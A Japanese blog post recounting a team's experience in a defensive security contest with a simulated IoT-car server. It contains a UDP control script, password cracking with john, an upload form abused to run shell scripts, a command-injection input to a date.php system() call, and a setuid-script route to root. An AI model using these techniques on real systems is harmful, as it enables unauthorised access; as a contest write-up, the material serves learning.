 高専セキュリティコンテストに参加しました。insecureというチームで、thrust2799、kyumina、mi_24vと一緒に参加して、3位でした。楽しいコンテストでした。

f:id:Furutsuki:20161127194028j:plain

f:id:Furutsuki:20161206121411p:plain

Slack

 参加者を集めるSlackが開きました。これが今回の最大の成功だと思っていて、Slackでは他高専高専生や運営と楽しく盛り上がることができました。

 Slackではemojiやreactionの追加や自由な書き込みが許可されて、 自己紹介や雑談に花が咲きました。ここで、カジュアルに書き込みができる雰囲気が作られたのはとても良いと思いました。

 Slackではもちろん運営からの連絡もあって、競技環境の事前公開(本番環境と近い部分がある)が公開されて接続テストをしたり、問題の予告がでたりしました。

当日まで

 接続テストがありました。オンライン参加のチームにはとても重要なことでした。接続は事前に申告した高専のネットワークからしかできず、テスト前とかあってぎりぎりになりましたが、ちゃんと接続が確認できました。

 さらに、その環境には問題の予告が置いてありました。今回の問題はIoT関連ということで、IoTカー、というものに焦点があたっていました。サーバにはiotcarというシェルスクリプト)と、iotcar.pyというpythonスクリプトが置いてあり、どちらも所有者がrootになっており、読み書き実行の権限は基本的にありませんでしたが、iotcarは、実行可能フラグとスティッキービットsetuid ビットが立っていました(実行時に、所有者の権限で実行される)。

iotcar.pyはIoTカーを模倣したスクリプトで、UDPで適当なパケットを送りつけると、それにあわせた動作をする、かわりに /etc/iotcar 以下に結果を吐き出します。事前環境では、「アクセルの踏み込み量」のみを操作可能でした。

./iotcar でパケットを待ち受けた状態で、 0xf0, 0x40, 0x01, 0x10, 0x04, 0xff, 0xff, 0x01, 0x02, 0xf7 のようなパケットを送りつけると /etc/iotcar/motor に 0xffffが書き込まれることを確認しました(パケット中の0xff, 0xffを書き換えるとmotorに書き込まれる値も変わった)。

これと、IoTカーの仕様のようなものが公開されていたので、こんなスクリプトを組んで準備していました。

import socket
import array
import argparse
import sys

command_help = """
command list

sportsmode   sports mode         0-255 center is 128
handle       handle degree       0-255 center is 128
brake        brake               0-255
accel        accel               0-255
charge       battery charge      0: charge mode, 1: run mode
hybrid       energy mode         0: hybrid, 1: electron, 2: gasoline
gear         gear                0|N: neutral, 1-5: n speed 254|R: back, 255|P: parking
engine       power on off        0|off: power off, 1|on: power on

window                           0|close: close, 1|open: open
windowlock                       0|off: free, 1|on: locked
temp         aircon temperature  0-45
airmode      aircon run mode     0|off: off, 1: cooler, 2: heater, 3: wind only
loof         ????                0|off: off, 1|on: on
kumoridome                       0|off: off, 1|on: on
wiper                            0|off: off, 1|on: on
doorlock                         0|off: free, 1|on: locked
door         open/close          0|close: close, 1|open: open
hazard       hazard lamp         0|off: off, 1|on: on
light        small light         0|off: off, 1|on: on
navi                             0|off: off, 1|on: on
audio                            0|off: off, 1|on: on
highbeam     highbeam light      0|off: off, 1|on: on
craction     1sec craction       0: dummy value
ABS          smooth brake aid    0|off: off, 1|on: on
4WD                              0|off: off, 1: auto, 2|on: on
"""

commandlist = {
        'sportsmode': [0x10, 1],
        'handle':     [0x10, 2],
        'brake':      [0x10, 3],
        'accel':      [0x10, 4],
        'charge':     [0x10, 5],
        'hybrid':     [0x10, 6],
        'gear':       [0x10, 7],
        'engine':     [0x10, 8],

        'window':     [0x20, 1],
        'windowlock': [0x20, 2],
        'temp':       [0x20, 3],
        'airmode':    [0x20, 4],
        'loof':       [0x20, 5],
        'kumoridome': [0x20, 6],
        'wiper':      [0x20, 7],
        'doorlock':   [0x20, 8],
        'door':       [0x20, 9],
        'hazard':     [0x20, 10],
        'light':      [0x20, 11],
        'navi':       [0x20, 12],
        'audio':      [0x20, 13],
        'highbeam':   [0x20, 14],
        'headlamp':   [0x20, 15],
        'cracshon':   [0x20, 16],
        'ABS':        [0x20, 17],
        '4WD':        [0x20, 18],
}

def send(address, port, command, value, key, v2=0):
        server_address = (address, port)
        max_size = 10

        key1 = (key & 0xff00) >> 8
        key2 = key & 0x00ff

        subid, cmdid = commandlist[command]

        if value == "close" or value == "off":
                value = 0
        elif value == "open" or value == "on":
                value = 1
                if command == '4WD':
                        value = 2
        else:
                value = int(value)

        print("{} with ({}, {})".format(command, value, v2))

        client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        client.sendto(array.array("B", [0xf0, 0x40, 0x01, subid, cmdid, value, v2, key1, key2, 0xf7]), server_address)
        client.close()

if __name__ == '__main__':
        parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter)

        parser.add_argument('-a', '--addr', default='localhost', type=str)
        parser.add_argument('-p', '--port', default=52782, type=int)
        parser.add_argument('command', type=str, help=command_help)
        parser.add_argument('value')
        parser.add_argument('-v2', default=0)
        parser.add_argument('key', type=str, help="0xkey1key2")

        args = vars(parser.parse_args())


        if not args['command'] in commandlist:
                print(helpmsg)
                sys.exit()

        try:
                args['key'] = int(args['key'], 16)
        except:
                print("key is not hex value")
                sys.exit()
        send(args['addr'], args['port'], args['command'], args['value'], args['key'], args['v2'])

それから、前日には競技説明がありました。これの告知が無くて(サイトには確かにあるって書いてあったので私達がわるいんだけど)、うちのチームはみんなして競技説明をすっぽかしました。競技説明があとからでも見られて助かりました。

当日

テスト前というのに学校に出ていって、開会式を待ちました。開会式では、ちょっとヒントっぽい話(実際に問題を解くときに活躍することはなかった)があったり、問題が予定より大幅に減った(ジャンルが6 -> 3になって、「環境設定」や「暗号通信」がなくなった)ことを告知されました。

 さらに、今回の問題形式が 問題文なし であることや、他チーム、スコアサーバへの攻撃の禁止を言い渡されました。

競技形式

  各チームは、自らに割り当てられたサーバの「脆弱性を修正」します。5分に1度チェックスクリプトが走って(こういうの何ていうんだっけ)、脆弱性の修正が確認されたら得点が入ります。得点は脆弱性ごとに100, 200, 300の点数がつけられており、点数を得られるのは一度だけです(継続していたら点数が増えるとかはない)。

 脆弱性にはジャンルが設けられており、 「安全でないWebインタフェース」「不十分な認証/認可/バックドア」「危険なネットワークサービス」のそれぞれに100, 200, 300点問題が1つずつありました。合計1800点です。

競技

とりあえずssh接続をしました。ホームディレクトリにはscuserが所有者となった iotcar.py だけが置かれていました。

iotcar.pyの修正

iotcarを操作するpacketが運営から飛んできそうだなーとおもっててそれを捕まえないことには……と思ってたので、iotcarを実行しようとしました。 python iotcar.py な感じです。するとpythonシンタックスエラーを吐いたので修正をはじめました。このときに、 debug option とかいうヤバそうな文字列を見かけたので、関連箇所を全部コメントアウトしておきました。

iotcar.pyが修正される

参加者から質問が飛んで、修正版 iotcar.py が配布されました(ここで参加者が質問できる雰囲気良い)。私の努力は無に帰して、 pyhon iotcar.py が正常に起動することを確認した後は、 nohup python iotcar.py & しておきました。

 そして、このまましばらく待つことにしました。ちょっと暇だったので netstat -antu とかしました。ここで telnetftp が生きてることがわかりました。 thrustがこのあたりの処理を買って出てくれたので任せました。

backdoorユーザを発見する

kyuminaの画面を見たのか何だったか、 backdoor とかいうユーザが存在することを知りました。 /home/backdoor を訪問すると、READMEと、 PASSWORD_is_backdoor みたいなファイルがありました。

とりあえず README を読むと 「このユーザは開発用です」 みたいなことが書いてありました。とりあえずこのユーザを無効化することにしました。 telnet localhost して backdoorにbackdoorで入ると入れたので、 passwd して パスワードを _backdoor_ にかえておきました。これで何かしらの点数が入ったはずです。

Webインタフェースを見る

thrustがapacheが動いてるらしいことを教えてくれて、みたら「デフォルトのページ」「ファイラでphpinfo吐いてて、/etc/passwd吐いてるファイルであるところのindex_old.php」「adminディレクトリ(認証がかかってる)」などがありました。これらは全部www-dataの持ち物で、エディット出来ませんでした。

とりあえず認証が突破できる気がすると思ったので .htpasswd を落としてきて、ローカルの環境で john .htpasswd したら一瞬で adminのパスワードが password であることがわかりました。

 そういうことでadminとして入ると、「IoTカーのWebコントローラ」みたいなのがありました。「status」「update」「date」「manual」くらいの項目があり、statusは/etc/iotcar以下のファイルを読んで、IoTカーの状態を表示してくれる部分のようでしたが、/etc/iotcar以下には未だ何もなかったので(kyuminaがiotcar.pyまわりをやってくれてたけどなにもわからなかった)、意味なし太郎でした。

updateはなんかヤバそうで、ファイルのuploadフォームがありました。まずこれのソースコードを読むと(読む権限はあった)、「ファイルがアップロードされたらfilesディレクトリに移して、unzipして、出てきたディレクトリに移動し、sh command.sh する」ようなphpがありました。

「あっこれ使える」と思い、 /var/www/html/.htpasswdを .htpasswd_に書き換え、新しい.htpasswdをつくるようなシェルスクリプトを書いて、command.shとして保存し、適当なディレクトリに埋めてzip圧縮したものをuploadしました。

 すると、サーバがInternal ServerErrorを吐きました。みると、 /var/www/htmlに.htpasswdMがありました。Windows環境でつくったシェルスクリプトだったので、改行コードの\rがファイル名として認識されたようです。

.htpasswdMをなんとかしようとしたのですが、頼みの綱のWebインタフェースは500だし、.htpasswd自体への書き込み権限はないしで、積んだと思い、「環境のリセット」をお願いしました。

 環境のリセットは運営が用意した救済策で「どうしても積んだと思ったら申告してください。15分程度で環境をリセットします」ときいていました。

 ここから大変な時間が始まります……

2時間待つ

 15分まつ、とのことでしたが、30分待っても環境は復活せず、ちょっとはやいお昼を食べたり、Twitterをしたりしていました。その間にも、他のチームが続々とリセット申告を行いました。運営が「ちょっと、Azureのフォームが重たいので、時間かかってます」ということには、私たちはガルパン鑑賞会を始めていました。

 結局、2時間まちました。

再開

 競技時間がのこり2時間を切った頃に、やっと復旧して、競技を再開しました。他のチームも結構待たされてて、運営も「root権限でどうにかなりそうな事態ならリセットではなくその旨を申告してみてください」というアナウンスをしていました。

 私はもっかいおんなじことをしてInternal Server Errorを吐かせ、「/var/www/html以下をリセットしてください!」とお願いしました。

 今度は改行コードをちゃんと修正して、adminのパスワードをpasswordからadminpasswordに変えました。多分これでも点が入ったと思います。

date.php

date.phpは「システムの時刻を設定できます」とのことでしたがよくわからなかったのでソースコードを覗きました。すると「POSTにshというパラメータがあったら、 system('date +s "' . $_POST['sh'] . '"')する」という雰囲気のコードが有り、やばそうでした。

とりあえず、これを用いて、 index_old.phpをindex_hoge.phpにしたり(入力に "; mv /var/www/html/index_old.php /var/www/html/index_hoge.php; echo "OK などをあたえる)、date.phpをhogedate.phpにしたりしていましたが、このあたりでは点が入らないようでした。

thrustのお手伝い

thrustくんが、「ftpでログインしたさきに、you_must_delete_thisみたいなファイルがある」ということを教えてくれて、それがdeleteされていなかったので、どうしたもんかなと思っていましたが、そういえばと思い ftp localhost して anonymous ユーザでパスワードなしでログインすると案の定入れたので、 delete それ しました。多分これでも点数がはいったはず。

その後行き詰まって

admin ディレクトリを hoge に変えたり、やばいphpを軒並み名前変更したりしていましたが、得点が入りませんでした。

  index.htmlがデフォルトのままでいろんなパスとかバレてるのが良くないのかな、とか、Options Indexesが良くないのか、とおもい修正もしてみましたが一向に点は入らず……。

おわり

 時間いっぱいおしまいになりました。insecureは900点で 3位でした。1位は 1700点のSIGSEGVで、 2位は 1200点の Harekazeでした。序盤に600点くらいとったあと、300点しか取れなくて、サイバー甲子園でもこんな感じだったぞと思いました。

終わって

 SIGSEGVがなんであんなに点取れてん、という話になって「開始30分でrootがとれたので」と言われて「!?!?!?!?!」となりました。さらに話を聞くと、「$HOMEに root所有者のsticky bitsetuid bitありのiotcarが存在して、こいつは、 0777 root所有の iotcar.py を実行してるだけだから iotcar.pyに/etc/sudoersを編集するコード書けばok」とのことでした。

 このへんから話の雲行きが怪しくなって、というのも「あーなるほど」というチームと「私らのチームそんなiotcarとか言うファイル無いんですけど」というチームが現れました(私らは後者です)。

→ 12/5 に連絡があり、やっぱり環境がちがうケースが存在しました。どうやら二種類の環境が存在していたようです。それぞれで別の部門としてランク分けされました。